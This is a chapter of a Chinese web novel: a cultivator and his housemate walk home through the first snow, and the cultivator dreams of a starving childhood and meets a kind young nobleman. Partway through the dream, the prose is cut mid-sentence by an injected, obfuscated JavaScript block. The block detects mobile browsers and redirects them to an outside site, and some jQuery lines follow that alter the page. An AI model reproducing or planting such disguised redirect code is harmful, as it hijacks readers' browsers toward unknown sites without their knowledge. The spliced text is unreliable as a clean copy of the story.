20. 初雪

江晏感觉,宁时看起来是被他的回答逗笑了。


他眼睛弯了弯,是一个居然可以用甜来形容的神态。


此时,江晏不得不再次感叹一句:


不愧是我!永远这么帅!


这次啾啾没有发出什么评价,大概是已经对他麻木了。


但宁时的笑却渐渐隐去了。


他说:“江晏啊,我刚刚看到代玉兰了。”


江晏:“我没看到欸,不过,那说明我们的装扮是成功的!”


宁时点了点头。


江晏觉得他还有话要说。


果然,宁时又道:“可是要天天这样躲着吗?”


江晏:“……其实吧,他们应该挺有钱的。”


宁时道:“这当然,但是我感觉自己融不进去他们的生活。”


江晏心想,果然还是稚嫩的小朋友啊。


他转头,认真看着宁时:“他们看不惯你,生气的是他们。”


“不要把自己气到就好。”


“你要是回去,以后继承家业,更得把你那个弟弟气着。”


宁时无语:“你心真大啊……不过也没错。”


“但是对于我,放弃自己的美好生活,给他们添堵,还不够划算。”


江晏:“你悟得还挺快的嘛。”


宁时摊手:“我又催了不傻,走一步算一步喽。”


江晏点点头。


宁时看起来知道自己想要什么,也知道什么是自己可能得到的。


江晏就突然对这个世界自己猜测的宁时心愿产生了动摇。


宁时的心愿真的只会是高考顺利和家庭美满吗?


他把啾啾从意识海中提溜出来询问。


啾啾用翅膀拍着胸脯:“你放心了啊,我一个神器见到的这种情况多了!”


“他宁时九成九是这个心愿。”


严谨的江晏:“那也不是绝对。”


啾啾欢快道:“小概率情况的话,我就和你一起长长见识呗。”


江晏一整个大无语,又把啾啾塞了回去。


他看了眼宁时,然后和宁时的目光对上了。


江晏疑惑:“我脸上有花吗?一直盯着我看。”


可能是从宁家出来了,宁时的心情很好,居然开起了玩笑:


“是啊,看你像多花。”


江晏噎了一下,一时没接住这话。


啾啾在他脑海里长吁短叹:“你呀!反射弧是要有多长!”


“你就惯着他吧!”


江晏奇道:“我惯惯我自己怎么了”


“你看看这个世界这些人,除了我,谁能这么惯他爱他?”


啾啾刚要说话,就看见宁时拉住了江晏的手。


江晏只觉得手里一热,还以为是宁时有事,便“唔?”了一声。


宁时的声音如同平常:“有车。”


江晏“噢噢”了两声,往路边靠了靠。


宁时不动声色地挡在外侧。


啾啾:真是没眼看。


他们沿着熟悉的路走回家。


有星星点点的冷意浮在脸上。


是冬天的初雪来了。


他们回家的时间刚刚好。


江晏打开厨房的灯,透过玻璃,能看到外面刚刚还零星的雪花,现在已经片片飘起了。


宁时:“这个天气适合吃点热乎的。”


江晏抽了抽鼻子:“我想吃牛肉。”


“家里没有,哈哈。”


宁时从柜子里找出来一袋方便面:“但是我们有红烧牛肉面。”


江晏:……


好想翻白眼啊。


但剑修又没有抵抗得住垃圾食品的诱惑。


宁时看着他脸上的表情变幻,笑了:“那我可煮上了啊。”


江晏猛点头。


屋外天寒地冻,屋里玻璃上却已经蒙上了一层雾气。


江晏低头大口吃面,宁时坐在旁边,给代玉兰简单报了下平安。


然后不再理会手机那头的消息。


第二天还要考试,江晏和宁时决定早点休息。


他们并排躺着床上。


比往常更加明亮的一道月光,撒在他们身上,随着被子的起伏蜿蜒。


可能因为下雪了,整个世界很安静。


窗外零星能听到由远到近,再由近到远的自行车轱辘声,还有雪落在地上簌簌的声音。


而屋内的声音,就是他们彼此的呼吸声。


江晏:“晚安。”


宁时微微侧过头,看着规规矩矩平躺着的江晏:“嗯,晚安。”


江晏这晚却睡得不太安稳。


他做梦了。


自从他渡劫失败,来到这个世界以后,做梦的次数加起来比他活的那些年的次数都多。


可能是因为现实世界里下雪了,江晏的梦里也在下雪。


梦里,他又变成了一个小孩。


视线里所见的东西,都比往常要高大很多。


江晏在梦里踩着雪,深一脚浅一脚地走着。


积雪在脚下发出被压实的咯吱声。


江晏下意识地低头,然后就看到了自己露着大拇指的鞋和不到脚腕的裤子。


江晏:……


怎么又是这种小可怜的剧情啊!


他刚刚感慨完,突然腹部一阵火烧般的剧痛席卷了大脑。


江晏眼前发黑,蹲着地上,不知多久才缓过神来。


理智回笼,他突然意识到,这不是传统意义上的痛觉。


而是饥饿感。


强烈的,他从来没有体验过的饥饿感。


不找点东西吃的话……真的会死的吧?


这种饥饿感太强烈了,江晏甚至分不清到底有没有在做梦了。


他扶着墙慢慢站起身。


噢,是红色的砖墙。


看起来是户有钱人家。


应该会有吃的吧。


他现在只是一个小孩,个子一点点的小孩。


想必食量也会是一点点。


应该会有人给他饭的吧。


江晏扶着这红色的围墙,蹒跚着向前走去。


不知过了多久,也许是半柱香,也许是一个时辰。


他模糊的视线在隐约看到了大门的轮廓。


门口似乎还有个人影。


江晏踉跄着,走快了些。


雪天里,人的脚步声格外清晰。


那个人影显然是听到了,回过头来看。


人影是一位少年,小公子的打扮。


穿着一件雪白的狐裘,捂着手炉,看起来贵气极了。


可是有一团白色的雾气挡住了他的脸。


江晏看不清他的模样,却又一种熟悉的心安。


明明他们只是第一次见面。


那公子开口了,声音也很好听,清清脆脆的,是在唤身后的小厮:


“把食盒拿过来。”


那小厮很是听话,片刻后,手中稳稳端着一个红木盒子过来了。


小公子掀开看了看,最后把整个食盒递给了江晏:“你都拿着吧。”


“你能吃几天呢,吃完了这个


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902331|160119||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


盒子换钱。”


江晏看着小公子雪白的狐裘,和比狐裘还雪白的手,想了想,伸出自己的小黑手从侧面抱住食盒。


那公子又问:“你来我们家做工怎么样?我可以跟父亲说。”


此时,江晏突然控制不了梦境里的身体了。


江晏听见这个身体发出稚嫩的声音:“多谢公子好意,可我还有要做的事。”


公子歪着头,圆圆的眼睛中有点好奇:“是什么事这么重要呢?”


江晏梦境中的身体又开始说话了:


“我家那边打仗了,只有我了,一路逃过来。”


“我想成为很厉害的人,就不怕了。”


“听过修仙最厉害了,我要找位仙长,跟着他修炼。”


“成为厉害的人,就什么也不怕了。”


江晏的意识被困在这个身体里,旁观着,感觉要明白什么东西了。


他继续看着。


那小公子呆呆的,还和这个小叫花子告了别。


最后是被年长一些的贴身侍从拉了回去。


江晏看着朱红的大门禁闭,发出一声沉闷的碰撞声。


肚子真的很饿。


江晏低头,抓起一块糕点。


在他摸到那块糕点的一瞬间,梦境破碎了。


他没有穿着破了的鞋踩在大雪中。


也没有躺在合江宗的竹林里。


他被柔软的毛毯包裹着,身边是缓慢的呼吸声。


噢,原来他和宁时住在一起呢。江晏想。


他试图回想刚才的梦。


现在却好像隔了层纱,怎么也回忆不清晰了。


……算了,还是睡觉吧。


江晏再次昏沉入睡。


这次,他睡得很安稳,没有梦见什么奇奇怪怪的东西。


但可能由于晚上醒了一次没有休息好的缘故,第二天一早,江晏根本没有听见自己的闹铃声。


还是宁时把他推醒的。


江晏一睁眼,就是宁时尖尖的下巴。


他问宁时:“几点了?”


宁时见他醒了,一边把热水倒进水瓶里,一边说:“七点整了,快点。我看你没醒,让你多睡了一会儿。”


江晏:“……行吧。”


他一骨碌爬起来,疯狂洗漱。


等江晏在门口穿鞋时,宁时已经准备好了两人的东西,拎着书包等他了。


他们一前一后地下楼。


单元楼门口是一层能没过鞋面的积雪,中间有深深浅浅的足迹。


还有一些地方,由于踩的人太多,雪已经被压实成了冰,泛着黑色的光泽。


江晏完全没有意识到这些积雪在北方城市的一个工作日意味着什么,还兴致勃勃道:


“我很少见过这么大的雪呢。”


宁时有点惊讶:“你是南方人?”


江晏:“啊……从前在南边生活过一段时间。”


合江宗怎么不算南方,江晏自认为没有撒谎。


宁时点头:“嗯,原来如此。”


又扭头看着江晏。


江晏:?


宁时慢吞吞道:“你怎么一点也不像见了下雪的南方人。”


江晏突然意识到宁时的意思了。


宁时在调侃他,还带了一丝期待他玩雪的意思。


江晏脑海中想象了一下自己搓雪球打雪仗的画面,打了个抖——太幼稚了。


他活了这么久,还不至于因为一场雪而激动得失态。


于是江晏高冷地看了宁时一眼,高深莫测地走了。